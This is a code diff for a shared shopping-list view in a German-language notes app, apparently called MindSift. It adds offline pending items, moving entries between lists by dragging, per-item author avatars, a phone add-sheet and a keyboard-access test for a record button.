|
||||||
|
describe('HoldToRecordFab keyboard access', () => {
|
||||||
|
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const { getByRole } = render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||||
|
fireEvent.click(getByRole('button'), { detail: 0 });
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -4,20 +4,25 @@ import {
|
|||||||
Trash2,
|
Trash2,
|
||||||
Users,
|
Users,
|
||||||
Check,
|
Check,
|
||||||
Radio,
|
|
||||||
Sparkles,
|
Sparkles,
|
||||||
X,
|
X,
|
||||||
Hash,
|
|
||||||
ShoppingCart,
|
ShoppingCart,
|
||||||
|
CloudOff,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { ListItem, SharedList, ListShare, Team, User, WSMessage } from '../../lib/types';
|
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
|
||||||
import { api, buildWebSocketURL, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
||||||
|
import { readViewSession, writeViewSession } from '../../lib/viewSession';
|
||||||
|
import { OFFLINE_ITEM_PREFIX, pendingListItems } from '../../lib/offline';
|
||||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||||
|
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
|
||||||
|
import { CountBadge } from '../../components/CountBadge';
|
||||||
|
import { FormSheet } from '../../components/FormSheet';
|
||||||
import { useMobileActions } from '../../context/MobileActionContext';
|
import { useMobileActions } from '../../context/MobileActionContext';
|
||||||
|
|
||||||
interface SharedListsViewProps {
|
interface SharedListsViewProps {
|
||||||
onRefreshGlobal: () => void;
|
onRefreshGlobal: () => void;
|
||||||
currentUser?: User | null;
|
currentUser?: User | null;
|
||||||
|
initialListId?: string | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function parseListItemInput(rawText: string, defaultQty?: string): {
|
export function parseListItemInput(rawText: string, defaultQty?: string): {
|
||||||
@@ -77,10 +82,22 @@ export function deduplicateItems(items: ListItem[]): ListItem[] {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser }) => {
|
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => {
|
||||||
const { setGroups, setPrimaryAction } = useMobileActions();
|
const { setGroups, setPrimaryAction } = useMobileActions();
|
||||||
const [lists, setLists] = useState<SharedList[]>([]);
|
const [lists, setLists] = useState<SharedList[]>([]);
|
||||||
const [activeListId, setActiveListId] = useState<string>('');
|
// The open list survives switching to other tabs (like the workspace's open note)
|
||||||
|
const [activeListId, setActiveListId] = useState<string>(
|
||||||
|
() => initialListId || readViewSession<{ listId: string }>('lists').listId || ''
|
||||||
|
);
|
||||||
|
useEffect(() => {
|
||||||
|
if (activeListId) writeViewSession('lists', { listId: activeListId });
|
||||||
|
}, [activeListId]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (initialListId) {
|
||||||
|
setActiveListId(initialListId);
|
||||||
|
}
|
||||||
|
}, [initialListId]);
|
||||||
|
|
||||||
const [newItemText, setNewItemText] = useState('');
|
const [newItemText, setNewItemText] = useState('');
|
||||||
const [newItemQty, setNewItemQty] = useState('');
|
const [newItemQty, setNewItemQty] = useState('');
|
||||||
@@ -104,9 +121,20 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
const [workspaceTags, setWorkspaceTags] = useState<string[]>([]);
|
const [workspaceTags, setWorkspaceTags] = useState<string[]>([]);
|
||||||
const inputRef = useRef<HTMLInputElement | null>(null);
|
const inputRef = useRef<HTMLInputElement | null>(null);
|
||||||
|
|
||||||
|
// Phones: the add form lives in a sheet opened by "+" instead of taking room above the list
|
||||||
|
const [isPhone, setIsPhone] = useState(() => typeof window !== 'undefined' && window.innerWidth < 640);
|
||||||
|
const [showAddSheet, setShowAddSheet] = useState(false);
|
||||||
|
useEffect(() => {
|
||||||
|
const onResize = () => setIsPhone(window.innerWidth < 640);
|
||||||
|
window.addEventListener('resize', onResize);
|
||||||
|
return () => window.removeEventListener('resize', onResize);
|
||||||
|
}, []);
|
||||||
|
|
||||||
const [draggingItemId, setDraggingItemId] = useState<string | null>(null);
|
const [draggingItemId, setDraggingItemId] = useState<string | null>(null);
|
||||||
const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null);
|
const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null);
|
||||||
const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null);
|
const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null);
|
||||||
|
// List tab a dragged entry hovers over (dropping moves it into that list)
|
||||||
|
const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
|
||||||
|
|
||||||
const realtimeConnRef = useRef<any>(null);
|
const realtimeConnRef = useRef<any>(null);
|
||||||
|
|
||||||
@@ -121,12 +149,19 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
// fallback
|
// fallback
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// Entries added offline and not sent yet stay visible (also after a reload without connection)
|
||||||
|
const pending = pendingListItems();
|
||||||
const deduplicated = all.map((l) => ({
|
const deduplicated = all.map((l) => ({
|
||||||
...l,
|
...l,
|
||||||
items: deduplicateItems(l.items || []),
|
items: deduplicateItems([
|
||||||
|
...pending.filter((p) => p.listId === l.id).map((p) => ({ ...p, isCompleted: false, sortOrder: 0 }) as ListItem),
|
||||||
|
...(l.items || []),
|
||||||
|
]),
|
||||||
}));
|
}));
|
||||||
setLists(deduplicated);
|
setLists(deduplicated);
|
||||||
if (deduplicated.length > 0 && (!activeListId || !deduplicated.some((l) => l.id === activeListId))) {
|
if (initialListId && deduplicated.some((l) => l.id === initialListId)) {
|
||||||
|
setActiveListId(initialListId);
|
||||||
|
} else if (deduplicated.length > 0 && (!activeListId || !deduplicated.some((l) => l.id === activeListId))) {
|
||||||
setActiveListId(deduplicated[0].id);
|
setActiveListId(deduplicated[0].id);
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
@@ -144,10 +179,32 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
.catch(() => {});
|
.catch(() => {});
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
// People shown in tabs: everyone with access except me
|
||||||
|
const otherMembers = (lst: SharedList): AvatarPerson[] =>
|
||||||
|
(lst.members || [])
|
||||||
|
.filter((m) => m.userId !== currentUser?.id)
|
||||||
|
.map((m) => ({ id: m.userId, name: m.displayName || m.email, avatarUrl: m.avatarUrl }));
|
||||||
|
|
||||||
const activeList = useMemo(() => {
|
const activeList = useMemo(() => {
|
||||||
return lists.find((l) => l.id === activeListId) || lists[0] || null;
|
return lists.find((l) => l.id === activeListId) || lists[0] || null;
|
||||||
}, [lists, activeListId]);
|
}, [lists, activeListId]);
|
||||||
|
|
||||||
|
// In shared lists every item shows who added it (older items without an author show nothing)
|
||||||
|
const isActiveListShared = (activeList?.members?.length || 0) > 1 || (activeList?.shares?.length || 0) > 0;
|
||||||
|
const renderItemAuthor = (item: ListItem) => {
|
||||||
|
if (!isActiveListShared || !item.createdBy) return null;
|
||||||
|
const member = activeList?.members?.find((m) => m.userId === item.createdBy);
|
||||||
|
const name = member?.displayName || member?.email || item.createdByName || '';
|
||||||
|
return (
|
||||||
|
<AvatarStack
|
||||||
|
people={[{ id: item.createdBy, name, avatarUrl: member?.avatarUrl }]}
|
||||||
|
size="xxs"
|
||||||
|
ringClass="ring-transparent"
|
||||||
|
title={name ? `Hinzugefügt von ${name}` : undefined}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!activeList?.id) return;
|
if (!activeList?.id) return;
|
||||||
|
|
||||||
@@ -227,6 +284,22 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
};
|
};
|
||||||
}, [activeList?.id]);
|
}, [activeList?.id]);
|
||||||
|
|
||||||
|
// Back online: once the outbox has sent the entries added offline, show the server's version
|
||||||
|
const listsRef = useRef(lists);
|
||||||
|
listsRef.current = lists;
|
||||||
|
const loadListsRef = useRef(loadLists);
|
||||||
|
loadListsRef.current = loadLists;
|
||||||
|
useEffect(() => {
|
||||||
|
const onOutbox = () => {
|
||||||
|
const shown = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX)));
|
||||||
|
const queued = new Set(pendingListItems().map((p) => p.id));
|
||||||
|
const sent = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX) && !queued.has(i.id)));
|
||||||
|
if (shown && sent) void loadListsRef.current();
|
||||||
|
};
|
||||||
|
window.addEventListener('mindsift:outbox-changed', onOutbox);
|
||||||
|
return () => window.removeEventListener('mindsift:outbox-changed', onOutbox);
|
||||||
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const handleGlobalWs = (e: any) => {
|
const handleGlobalWs = (e: any) => {
|
||||||
const msg = e.detail;
|
const msg = e.detail;
|
||||||
@@ -248,6 +321,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
|
|
||||||
const handleAddItem = async (e: React.FormEvent) => {
|
const handleAddItem = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
|
// Keep the field (and the phone keyboard) for the next item: refocus inside the tap
|
||||||
|
inputRef.current?.focus({ preventScroll: true });
|
||||||
if (!activeList || !newItemText.trim() || isSubmittingItem) return;
|
if (!activeList || !newItemText.trim() || isSubmittingItem) return;
|
||||||
setIsSubmittingItem(true);
|
setIsSubmittingItem(true);
|
||||||
triggerHaptic(15);
|
triggerHaptic(15);
|
||||||
@@ -323,6 +398,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
await api.deleteListItem(activeList.id, itemId);
|
await api.deleteListItem(activeList.id, itemId);
|
||||||
|
onRefreshGlobal();
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleClearCompleted = async () => {
|
const handleClearCompleted = async () => {
|
||||||
@@ -344,6 +420,35 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
setDraggingItemId(item.id);
|
setDraggingItemId(item.id);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const canWriteList = (lst: SharedList) => lst.isOwner || lst.role !== 'viewer';
|
||||||
|
|
||||||
|
// An entry dragged onto another list's tab lands at the top of that list, like a new entry
|
||||||
|
const handleDropOnListTab = async (e: React.DragEvent, target: SharedList) => {
|
||||||
|
e.preventDefault();
|
||||||
|
const itemId = e.dataTransfer.getData('application/mindsift-list-item-id') || draggingItemId;
|
||||||
|
setDraggingItemId(null);
|
||||||
|
setDragOverItemTarget(null);
|
||||||
|
setDragOverCategoryTarget(null);
|
||||||
|
setDragOverListTab(null);
|
||||||
|
const source = activeList;
|
||||||
|
const item = source?.items.find((i) => i.id === itemId);
|
||||||
|
if (!source || !item || target.id === source.id || !canWriteList(target)) return;
|
||||||
|
triggerHaptic(15);
|
||||||
|
setLists((prev) =>
|
||||||
|
prev.map((l) => {
|
||||||
|
if (l.id === source.id) return { ...l, items: l.items.filter((i) => i.id !== item.id) };
|
||||||
|
if (l.id === target.id) return { ...l, items: deduplicateItems([{ ...item, listId: target.id }, ...l.items]) };
|
||||||
|
return l;
|
||||||
|
})
|
||||||
|
);
|
||||||
|
try {
|
||||||
|
await api.moveListItem(source.id, item.id, target.id);
|
||||||
|
} catch {
|
||||||
|
loadLists();
|
||||||
|
}
|
||||||
|
onRefreshGlobal?.();
|
||||||
|
};
|
||||||
|
|
||||||
const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => {
|
const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
@@ -467,7 +572,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
if (!sourceItem) return;
|
if (!sourceItem) return;
|
||||||
|
|
||||||
const targetCatNormalized = targetCategory.trim();
|
const targetCatNormalized = targetCategory.trim();
|
||||||
let newCategory = targetCatNormalized;
|
const newCategory = targetCatNormalized;
|
||||||
let newContent = sourceItem.content;
|
let newContent = sourceItem.content;
|
||||||
|
|
||||||
if (!targetCatNormalized) {
|
if (!targetCatNormalized) {
|
||||||
@@ -732,13 +837,20 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
return result;
|
return result;
|
||||||
}, [openItems]);
|
}, [openItems]);
|
||||||
|
|
||||||
|
const focusNewItemInput = () => {
|
||||||
|
if (window.innerWidth < 640) {
|
||||||
|
setShowAddSheet(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
inputRef.current?.focus({ preventScroll: true });
|
||||||
|
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||||
|
};
|
||||||
|
|
||||||
// Register context-sensitive mobile menu groups behind the MindSift logo
|
// Register context-sensitive mobile menu groups behind the MindSift logo
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
setPrimaryAction(() => {
|
setPrimaryAction(() => {
|
||||||
setTimeout(() => {
|
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
|
||||||
inputRef.current?.focus();
|
focusNewItemInput();
|
||||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
|
||||||
}, 60);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
setGroups([
|
setGroups([
|
||||||
@@ -752,10 +864,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
icon: <Plus className="w-4 h-4 text-accent" />,
|
icon: <Plus className="w-4 h-4 text-accent" />,
|
||||||
variant: 'accent',
|
variant: 'accent',
|
||||||
onClick: () => {
|
onClick: () => {
|
||||||
setTimeout(() => {
|
focusNewItemInput();
|
||||||
inputRef.current?.focus();
|
|
||||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
|
||||||
}, 60);
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -815,6 +924,116 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
]);
|
]);
|
||||||
}, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]);
|
}, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]);
|
||||||
|
|
||||||
|
// The add form's fields: inline on the desktop, on phones in a sheet that "+" opens (no fixed field
|
||||||
|
// taking room above the list); the sheet brings its own buttons
|
||||||
|
const renderAddItemFields = (withButton: boolean) =>
|
||||||
|
activeList ? (
|
||||||
|
<>
|
||||||
|
{/* The item is the main field: a real input like the quantity next to it, with the + inside */}
|
||||||
|
<div className="relative flex-1 w-full min-w-0">
|
||||||
|
<Plus className="w-4 h-4 text-accent absolute left-3 top-1/2 -translate-y-1/2 pointer-events-none" />
|
||||||
|
<input
|
||||||
|
ref={inputRef}
|
||||||
|
type="text"
|
||||||
|
autoFocus={!withButton}
|
||||||
|
value={newItemText}
|
||||||
|
onChange={(e) => {
|
||||||
|
setNewItemText(e.target.value);
|
||||||
|
setCursorPosition(e.target.selectionStart);
|
||||||
|
setShowSuggestions(true);
|
||||||
|
setSuggestionIndex(0);
|
||||||
|
}}
|
||||||
|
onKeyDown={handleInputKeyDown}
|
||||||
|
onSelect={(e) => {
|
||||||
|
setCursorPosition(e.currentTarget.selectionStart);
|
||||||
|
}}
|
||||||
|
onFocus={(e) => {
|
||||||
|
setCursorPosition(e.target.selectionStart);
|
||||||
|
setShowSuggestions(true);
|
||||||
|
}}
|
||||||
|
onBlur={() => {
|
||||||
|
setTimeout(() => setShowSuggestions(false), 200);
|
||||||
|
}}
|
||||||
|
placeholder={`Was soll auf „${activeList.title}“? (z. B. Hafermilch #Kühlregal)`}
|
||||||
|
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
|
||||||
|
className="w-full h-11 sm:h-9 pl-9 pr-3 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
||||||
|
{showSuggestions && activeHashtagQuery && matchingSuggestions.length > 0 && (
|
||||||
|
<div className="absolute left-6 top-full mt-2 w-64 max-h-56 overflow-y-auto bg-panel-elevated border border-border rounded-btn shadow-xl py-1 z-50 animate-in fade-in zoom-in-95 duration-100">
|
||||||
|
<div className="px-2.5 py-1 text-[10px] uppercase font-semibold text-faint tracking-wider border-b border-border/50">
|
||||||
|
Hashtags
|
||||||
|
</div>
|
||||||
|
{matchingSuggestions.map((tag, idx) => {
|
||||||
|
const isSelected = idx === suggestionIndex;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={tag}
|
||||||
|
type="button"
|
||||||
|
onMouseDown={(e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
applySuggestion(tag);
|
||||||
|
}}
|
||||||
|
className={`w-full text-left px-3 py-2 sm:py-1.5 text-xs flex items-center justify-between transition-colors ${
|
||||||
|
isSelected
|
||||||
|
? 'bg-accent/20 text-accent font-medium'
|
||||||
|
: 'text-main hover:bg-panel-hover'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="flex items-center gap-1.5">
|
||||||
|
<span className="text-accent font-mono font-semibold">#</span>
|
||||||
|
<span>{tag}</span>
|
||||||
|
</span>
|
||||||
|
{isSelected && (
|
||||||
|
<span className="text-[10px] text-faint font-mono">↵</span>
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-2 w-full sm:w-auto">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
inputMode="decimal"
|
||||||
|
value={newItemQty}
|
||||||
|
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
||||||
|
placeholder="Menge"
|
||||||
|
aria-label="Menge (optional)"
|
||||||
|
className="w-24 sm:w-20 h-11 sm:h-9 px-2.5 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
{withButton && (
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={isSubmittingItem || !newItemText.trim()}
|
||||||
|
className="btn-primary flex-1 sm:flex-none h-11 sm:h-9 px-4 text-sm sm:text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center justify-center gap-1 flex-shrink-0"
|
||||||
|
>
|
||||||
|
{isSubmittingItem ? 'Wird hinzugefügt…' : 'Hinzufügen'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
) : null;
|
||||||
|
|
||||||
|
// Connection pill in the same look as the notes' header
|
||||||
|
const livePill = (
|
||||||
|
<span
|
||||||
|
className="inline-flex items-center gap-1 h-7 px-2 rounded-btn text-[11px] bg-panel text-muted"
|
||||||
|
title={
|
||||||
|
!wsConnected
|
||||||
|
? 'Keine Live-Verbindung – Änderungen anderer erscheinen nach dem Neuladen'
|
||||||
|
: realtimeTransport === 'sse'
|
||||||
|
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
|
||||||
|
: 'Live-Verbindung über WebSocket'
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<span className={`w-1.5 h-1.5 rounded-full ${wsConnected ? 'bg-status-ok' : 'bg-status-warn'}`} />
|
||||||
|
{wsConnected ? 'Live' : 'Offline'}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full space-y-3">
|
<div className="w-full space-y-3">
|
||||||
{/* Top Header: List Tabs & Actions (Desktop) */}
|
{/* Top Header: List Tabs & Actions (Desktop) */}
|
||||||
@@ -825,26 +1044,46 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
|
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
|
||||||
const isSelected = activeList?.id === lst.id;
|
const isSelected = activeList?.id === lst.id;
|
||||||
return (
|
return (
|
||||||
<div key={lst.id} className="relative group flex items-center">
|
<div
|
||||||
|
key={lst.id}
|
||||||
|
onDragOver={(e) => {
|
||||||
|
if (!draggingItemId || isSelected || !canWriteList(lst)) return;
|
||||||
|
e.preventDefault();
|
||||||
|
e.dataTransfer.dropEffect = 'move';
|
||||||
|
if (dragOverListTab !== lst.id) setDragOverListTab(lst.id);
|
||||||
|
}}
|
||||||
|
onDragLeave={() => {
|
||||||
|
if (dragOverListTab === lst.id) setDragOverListTab(null);
|
||||||
|
}}
|
||||||
|
onDrop={(e) => handleDropOnListTab(e, lst)}
|
||||||
|
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
|
||||||
|
isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
|
||||||
|
} ${isSelected && lists.length > 1 ? 'pr-1' : ''} ${
|
||||||
|
dragOverListTab === lst.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''
|
||||||
|
}`}
|
||||||
|
>
|
||||||
<button
|
<button
|
||||||
onClick={() => setActiveListId(lst.id)}
|
onClick={() => setActiveListId(lst.id)}
|
||||||
className={`h-8 px-3 text-xs font-medium border flex items-center gap-1.5 transition-colors ${
|
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
|
||||||
isSelected
|
|
||||||
? 'bg-panel border-accent text-main'
|
|
||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
|
||||||
} ${isSelected && lists.length > 1 ? 'rounded-l-btn rounded-r-none border-r-0' : 'rounded-btn'}`}
|
|
||||||
>
|
>
|
||||||
<span>{lst.icon}</span>
|
<span>{lst.icon}</span>
|
||||||
<span>{lst.title}</span>
|
{/* Counter on the label, like in the nav bar */}
|
||||||
{openCount > 0 && (
|
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
|
||||||
<span className="ml-1 badge-neutral">{openCount}</span>
|
{lst.title}
|
||||||
)}
|
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
|
<AvatarStack
|
||||||
|
people={otherMembers(lst)}
|
||||||
|
size="xxs"
|
||||||
|
ringClass={isSelected ? 'ring-[var(--bg-panel)]' : 'ring-[var(--bg-app)]'}
|
||||||
|
className="ml-0.5"
|
||||||
|
/>
|
||||||
</button>
|
</button>
|
||||||
{isSelected && lists.length > 1 && (
|
{isSelected && lists.length > 1 && (
|
||||||
<button
|
<button
|
||||||
onClick={() => handleDeleteList(lst.id)}
|
onClick={() => handleDeleteList(lst.id)}
|
||||||
title="Liste löschen"
|
title="Liste löschen"
|
||||||
className="h-8 px-2 bg-panel border-y border-r border-accent text-faint hover:text-status-err hover:bg-status-err/10 rounded-r-btn flex items-center justify-center transition-colors cursor-pointer"
|
className="h-6 w-6 text-faint hover:text-status-err hover:bg-status-err/10 rounded-btn flex items-center justify-center transition-colors cursor-pointer"
|
||||||
>
|
>
|
||||||
<X className="w-3 h-3" />
|
<X className="w-3 h-3" />
|
||||||
</button>
|
</button>
|
||||||
@@ -909,30 +1148,13 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
);
|
);
|
||||||
})()}
|
})()}
|
||||||
|
|
||||||
{/* Live Sync Status */}
|
{livePill}
|
||||||
<div
|
|
||||||
className={`h-8 w-8 flex items-center justify-center rounded-btn border transition-colors ${
|
|
||||||
wsConnected
|
|
||||||
? realtimeTransport === 'sse'
|
|
||||||
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
|
|
||||||
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
|
|
||||||
: 'bg-canvas border-border text-muted'
|
|
||||||
}`}
|
|
||||||
title={
|
|
||||||
wsConnected
|
|
||||||
? realtimeTransport === 'sse'
|
|
||||||
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
|
|
||||||
: 'Live synchronisiert (WebSocket online)'
|
|
||||||
: 'Offline'
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
|
{/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
|
||||||
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0">
|
{/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
|
||||||
|
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
|
||||||
<div className="flex items-center gap-2 min-w-0">
|
<div className="flex items-center gap-2 min-w-0">
|
||||||
<span className="text-sm font-semibold text-main truncate">
|
<span className="text-sm font-semibold text-main truncate">
|
||||||
{activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'}
|
{activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'}
|
||||||
@@ -954,45 +1176,17 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
<Users className="w-4 h-4 text-accent" />
|
<Users className="w-4 h-4 text-accent" />
|
||||||
</button>
|
</button>
|
||||||
)}
|
)}
|
||||||
<div
|
{livePill}
|
||||||
className={`h-9 w-9 flex items-center justify-center rounded-btn border transition-colors ${
|
|
||||||
wsConnected
|
|
||||||
? realtimeTransport === 'sse'
|
|
||||||
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
|
|
||||||
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
|
|
||||||
: 'bg-canvas border-border text-muted'
|
|
||||||
}`}
|
|
||||||
title={
|
|
||||||
wsConnected
|
|
||||||
? realtimeTransport === 'sse'
|
|
||||||
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
|
|
||||||
: 'Live synchronisiert (WebSocket online)'
|
|
||||||
: 'Offline'
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{showNewListModal && (
|
{showNewListModal && (
|
||||||
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-4">
|
<FormSheet
|
||||||
<div className="w-full max-w-sm panel-surface shadow-panel p-4 space-y-3">
|
title="Neue Einkaufsliste erstellen"
|
||||||
<div className="flex items-center justify-between border-b border-border pb-2">
|
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
|
||||||
<h3 className="text-sm font-semibold text-main flex items-center gap-1.5">
|
onClose={() => setShowNewListModal(false)}
|
||||||
<ShoppingCart className="w-4 h-4 text-accent" />
|
onSubmit={handleCreateList}
|
||||||
<span>Neue Einkaufsliste erstellen</span>
|
|
||||||
</h3>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewListModal(false)}
|
|
||||||
className="text-muted hover:text-main"
|
|
||||||
>
|
>
|
||||||
<X className="w-4 h-4" />
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<form onSubmit={handleCreateList} className="space-y-3">
|
|
||||||
<div>
|
<div>
|
||||||
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
||||||
<div className="flex items-center gap-1.5">
|
<div className="flex items-center gap-1.5">
|
||||||
@@ -1001,7 +1195,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
value={newListIcon}
|
value={newListIcon}
|
||||||
onChange={(e) => setNewListIcon(e.target.value)}
|
onChange={(e) => setNewListIcon(e.target.value)}
|
||||||
maxLength={2}
|
maxLength={2}
|
||||||
className="w-10 h-8 text-center input-field text-sm"
|
className="w-12 sm:w-10 h-11 sm:h-8 text-center input-field text-base sm:text-sm"
|
||||||
title="Icon (Emoji)"
|
title="Icon (Emoji)"
|
||||||
/>
|
/>
|
||||||
<input
|
<input
|
||||||
@@ -1011,115 +1205,39 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
|
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
|
||||||
autoFocus
|
autoFocus
|
||||||
required
|
required
|
||||||
className="flex-1 h-8 input-field px-2.5 text-xs"
|
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</FormSheet>
|
